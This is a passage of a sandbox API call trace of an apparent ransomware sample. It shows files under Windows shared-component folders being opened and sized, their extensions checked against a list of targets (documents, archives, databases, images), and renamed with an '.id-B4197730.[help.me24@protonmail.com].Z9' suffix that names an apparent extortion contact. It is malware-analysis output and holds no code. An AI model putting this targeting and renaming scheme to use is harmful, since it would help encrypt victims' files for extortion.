	[0188.916] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uiwin32client.dll.id-b4197730.[help.me24@protonmail.com].z9"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uiwin32client.dll")) returned 1
	[0188.917] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe.id-b4197730.[help.me24@protonmail.com].z9")) returned 1
	[0189.345] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0189.345] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0189.345] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe.id-b4197730.[help.me24@protonmail.com].z9"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe")) returned 1
	[0189.346] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0189.346] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\TipRes.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipres.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0189.347] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x34aff14 | out: lpFileSize=0x34aff14*=1086464) returned 1
	[0189.347] CloseHandle (hObject=0x368) returned 1
	[0189.347] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\TipRes.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipres.dll")) returned 0x20
	[0189.347] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\TipRes.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipres.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0189.347] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\TipRes.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipres.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0189.347] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\TipRes.dll") returned 61
	[0189.347] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\TipRes.dll") returned 61
	[0189.347] lstrlenW (lpString=".doc") returned 4
	[0189.347] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0189.347] lstrlenW (lpString=".docx") returned 5
	[0189.347] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0189.347] lstrlenW (lpString=".pdf") returned 4
	[0189.347] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0189.347] lstrlenW (lpString=".xls") returned 4
	[0189.347] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0189.347] lstrlenW (lpString=".xlsx") returned 5
	[0189.347] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0189.347] lstrlenW (lpString=".ppt") returned 4
	[0189.347] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0189.347] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\TipRes.dll") returned 61
	[0189.347] lstrlenW (lpString=".zip") returned 4
	[0189.347] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0189.348] lstrlenW (lpString=".rar") returned 4
	[0189.348] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0189.348] lstrlenW (lpString=".bz2") returned 4
	[0189.348] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0189.348] lstrlenW (lpString=".7z") returned 3
	[0189.348] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0189.348] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\TipRes.dll") returned 61
	[0189.348] lstrlenW (lpString=".dbf") returned 4
	[0189.348] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0189.348] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\TipRes.dll") returned 61
	[0189.348] lstrlenW (lpString=".1cd") returned 4
	[0189.348] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0189.348] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\TipRes.dll") returned 61
	[0189.348] lstrlenW (lpString=".jpg") returned 4
	[0189.348] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0189.348] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\TipRes.dll") returned 61
	[0189.348] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\TipRes.dll") returned 61
	[0189.348] lstrlenW (lpString=".doc") returned 4
	[0189.348] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0189.348] lstrlenW (lpString=".docx") returned 5
	[0189.348] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0189.348] lstrlenW (lpString=".pdf") returned 4
	[0189.348] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0189.348] lstrlenW (lpString=".xls") returned 4
	[0189.348] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0189.348] lstrlenW (lpString=".xlsx") returned 5
	[0189.348] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0189.348] lstrlenW (lpString=".ppt") returned 4
	[0189.348] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0189.348] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\TipRes.dll") returned 61
	[0189.348] lstrlenW (lpString=".zip") returned 4
	[0189.348] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0189.348] lstrlenW (lpString=".rar") returned 4
	[0189.348] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0189.348] lstrlenW (lpString=".bz2") returned 4
	[0189.349] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0189.349] lstrlenW (lpString=".7z") returned 3
	[0189.349] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0189.349] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\TipRes.dll") returned 61
	[0189.349] lstrlenW (lpString=".dbf") returned 4
	[0189.349] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0189.349] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\TipRes.dll") returned 61
	[0189.349] lstrlenW (lpString=".1cd") returned 4
	[0189.349] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0189.349] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\TipRes.dll") returned 61
	[0189.349] lstrlenW (lpString=".jpg") returned 4
	[0189.349] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0189.349] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0189.349] lstrlenW (lpString="tipresx.dll") returned 11
	[0189.349] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tipresx.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipresx.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0189.349] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x34aff14 | out: lpFileSize=0x34aff14*=22016) returned 1
	[0189.349] CloseHandle (hObject=0x368) returned 1
	[0189.350] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tipresx.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipresx.dll")) returned 0x20
	[0189.350] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tipresx.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipresx.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0189.350] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tipresx.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipresx.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0189.350] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tipresx.dll") returned 62
	[0189.350] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tipresx.dll") returned 62
	[0189.350] lstrlenW (lpString=".doc") returned 4
	[0189.350] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0189.350] lstrlenW (lpString=".docx") returned 5
	[0189.350] lstrcmpiW (lpString1=".docx", lpString2="x.dll") returned -1
	[0189.350] lstrlenW (lpString=".pdf") returned 4
	[0189.350] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0189.350] lstrlenW (lpString=".xls") returned 4
	[0189.350] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0189.350] lstrlenW (lpString=".xlsx") returned 5
	[0189.350] lstrcmpiW (lpString1=".xlsx", lpString2="x.dll") returned -1
	[0189.350] lstrlenW (lpString=".ppt") returned 4
	[0189.350] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0189.350] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tipresx.dll") returned 62
	[0189.350] lstrlenW (lpString=".zip") returned 4
	[0189.350] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0189.350] lstrlenW (lpString=".rar") returned 4
	[0189.350] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0189.350] lstrlenW (lpString=".bz2") returned 4
	[0189.350] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0189.350] lstrlenW (lpString=".7z") returned 3
	[0189.350] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0189.350] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tipresx.dll") returned 62
	[0189.350] lstrlenW (lpString=".dbf") returned 4
	[0189.350] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0189.350] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tipresx.dll") returned 62
	[0189.351] lstrlenW (lpString=".1cd") returned 4
	[0189.351] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0189.351] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tipresx.dll") returned 62
	[0189.351] lstrlenW (lpString=".jpg") returned 4
	[0189.351] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0189.351] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tipresx.dll") returned 62
	[0189.351] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tipresx.dll") returned 62
	[0189.351] lstrlenW (lpString=".doc") returned 4
	[0189.351] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0189.351] lstrlenW (lpString=".docx") returned 5
	[0189.351] lstrcmpiW (lpString1=".docx", lpString2="x.dll") returned -1
	[0189.351] lstrlenW (lpString=".pdf") returned 4
	[0189.351] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0189.351] lstrlenW (lpString=".xls") returned 4
	[0189.351] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0189.351] lstrlenW (lpString=".xlsx") returned 5
	[0189.351] lstrcmpiW (lpString1=".xlsx", lpString2="x.dll") returned -1
	[0189.351] lstrlenW (lpString=".ppt") returned 4
	[0189.351] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0189.351] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tipresx.dll") returned 62
	[0189.351] lstrlenW (lpString=".zip") returned 4
	[0189.351] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0189.351] lstrlenW (lpString=".rar") returned 4
	[0189.351] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0189.351] lstrlenW (lpString=".bz2") returned 4
	[0189.351] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0189.351] lstrlenW (lpString=".7z") returned 3
	[0189.351] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0189.351] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tipresx.dll") returned 62
	[0189.351] lstrlenW (lpString=".dbf") returned 4
	[0189.351] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0189.351] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tipresx.dll") returned 62
	[0189.351] lstrlenW (lpString=".1cd") returned 4
	[0189.351] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0189.351] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tipresx.dll") returned 62
	[0189.351] lstrlenW (lpString=".jpg") returned 4
	[0189.351] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0189.352] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0189.352] lstrlenW (lpString="tipskins.dll") returned 12
	[0189.352] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tipskins.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipskins.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0189.352] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x34aff14 | out: lpFileSize=0x34aff14*=1053184) returned 1
	[0189.352] CloseHandle (hObject=0x368) returned 1
	[0189.352] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tipskins.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipskins.dll")) returned 0x20
	[0189.352] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tipskins.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipskins.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0189.352] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tipskins.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipskins.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0189.352] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tipskins.dll") returned 63
	[0189.352] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tipskins.dll") returned 63
	[0189.353] lstrlenW (lpString=".doc") returned 4
	[0189.353] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0189.353] lstrlenW (lpString=".docx") returned 5
	[0189.353] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0189.353] lstrlenW (lpString=".pdf") returned 4
	[0189.353] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0189.353] lstrlenW (lpString=".xls") returned 4
	[0189.353] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0189.353] lstrlenW (lpString=".xlsx") returned 5
	[0189.353] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0189.353] lstrlenW (lpString=".ppt") returned 4
	[0189.353] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0189.353] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tipskins.dll") returned 63
	[0189.353] lstrlenW (lpString=".zip") returned 4
	[0189.353] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0189.353] lstrlenW (lpString=".rar") returned 4
	[0189.353] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0189.353] lstrlenW (lpString=".bz2") returned 4
	[0189.353] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0189.353] lstrlenW (lpString=".7z") returned 3
	[0189.353] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0189.353] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tipskins.dll") returned 63
	[0189.353] lstrlenW (lpString=".dbf") returned 4
	[0189.353] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0189.353] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tipskins.dll") returned 63
	[0189.353] lstrlenW (lpString=".1cd") returned 4
	[0189.353] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0189.353] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tipskins.dll") returned 63
	[0189.353] lstrlenW (lpString=".jpg") returned 4
	[0189.353] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0189.353] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tipskins.dll") returned 63
	[0189.353] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tipskins.dll") returned 63
	[0189.353] lstrlenW (lpString=".doc") returned 4
	[0189.353] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0189.353] lstrlenW (lpString=".docx") returned 5
	[0189.354] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0189.354] lstrlenW (lpString=".pdf") returned 4
	[0189.354] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0189.354] lstrlenW (lpString=".xls") returned 4
	[0189.354] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0189.354] lstrlenW (lpString=".xlsx") returned 5
	[0189.354] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0189.354] lstrlenW (lpString=".ppt") returned 4
	[0189.354] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0189.354] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tipskins.dll") returned 63
	[0189.354] lstrlenW (lpString=".zip") returned 4
	[0189.354] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0189.354] lstrlenW (lpString=".rar") returned 4
	[0189.354] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0189.354] lstrlenW (lpString=".bz2") returned 4
	[0189.354] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tiptsf.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tiptsf.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0189.355] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x34aff14 | out: lpFileSize=0x34aff14*=647584) returned 1
	[0189.355] CloseHandle (hObject=0x368) returned 1
	[0189.355] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tiptsf.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tiptsf.dll")) returned 0x20
	[0189.355] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tiptsf.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tiptsf.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0189.355] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tiptsf.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tiptsf.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0189.355] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tiptsf.dll") returned 61
	[0189.355] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tiptsf.dll") returned 61
	[0189.355] lstrlenW (lpString=".doc") returned 4
	[0189.355] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tiptsf.dll") returned 61
	[0189.355] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tiptsf.dll") returned 61
	[0189.355] lstrlenW (lpString=".doc") returned 4
	[0189.355] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tpcps.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tpcps.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0189.356] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x34aff14 | out: lpFileSize=0x34aff14*=96768) returned 1
	[0189.356] CloseHandle (hObject=0x368) returned 1
	[0189.356] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tpcps.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tpcps.dll")) returned 0x20
	[0189.356] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tpcps.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tpcps.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0189.356] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tpcps.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tpcps.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0189.356] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tpcps.dll") returned 60
	[0189.356] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tpcps.dll") returned 60
	[0189.356] lstrlenW (lpString=".doc") returned 4
	[0189.356] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tpcps.dll") returned 60
	[0189.356] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tpcps.dll") returned 60
	[0189.356] lstrlenW (lpString=".doc") returned 4
	[0189.356] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tr-TR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tr-tr\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0189.357] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x34aff14 | out: lpFileSize=0x34aff14*=10240) returned 1
	[0189.357] CloseHandle (hObject=0x368) returned 1
	[0189.357] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tr-TR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tr-tr\\tipresx.dll.mui")) returned 0x20
	[0189.357] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tr-TR\\tipresx.dll.mui.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tr-tr\\tipresx.dll.mui.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0189.357] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tr-TR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tr-tr\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0189.357] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tr-TR\\tipresx.dll.mui") returned 72
	[0189.357] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tr-TR\\tipresx.dll.mui") returned 72
	[0189.357] lstrlenW (lpString=".doc") returned 4
	[0189.357] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tr-TR\\tipresx.dll.mui") returned 72
	[0189.357] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tr-TR\\tipresx.dll.mui") returned 72
	[0189.357] lstrlenW (lpString=".doc") returned 4
	[0189.358] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\uk-UA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\uk-ua\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0189.358] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x34aff14 | out: lpFileSize=0x34aff14*=10240) returned 1
	[0189.358] CloseHandle (hObject=0x368) returned 1
	[0189.358] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\uk-UA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\uk-ua\\tipresx.dll.mui")) returned 0x20
	[0189.358] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\uk-UA\\tipresx.dll.mui.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\uk-ua\\tipresx.dll.mui.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0189.358] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\uk-UA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\uk-ua\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0189.358] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\uk-UA\\tipresx.dll.mui") returned 72
	[0189.358] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\uk-UA\\tipresx.dll.mui") returned 72
	[0189.358] lstrlenW (lpString=".doc") returned 4
	[0189.358] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\uk-UA\\tipresx.dll.mui") returned 72
	[0189.358] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\uk-UA\\tipresx.dll.mui") returned 72
	[0189.358] lstrlenW (lpString=".doc") returned 4
	[0189.359] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\zh-CN\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-cn\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
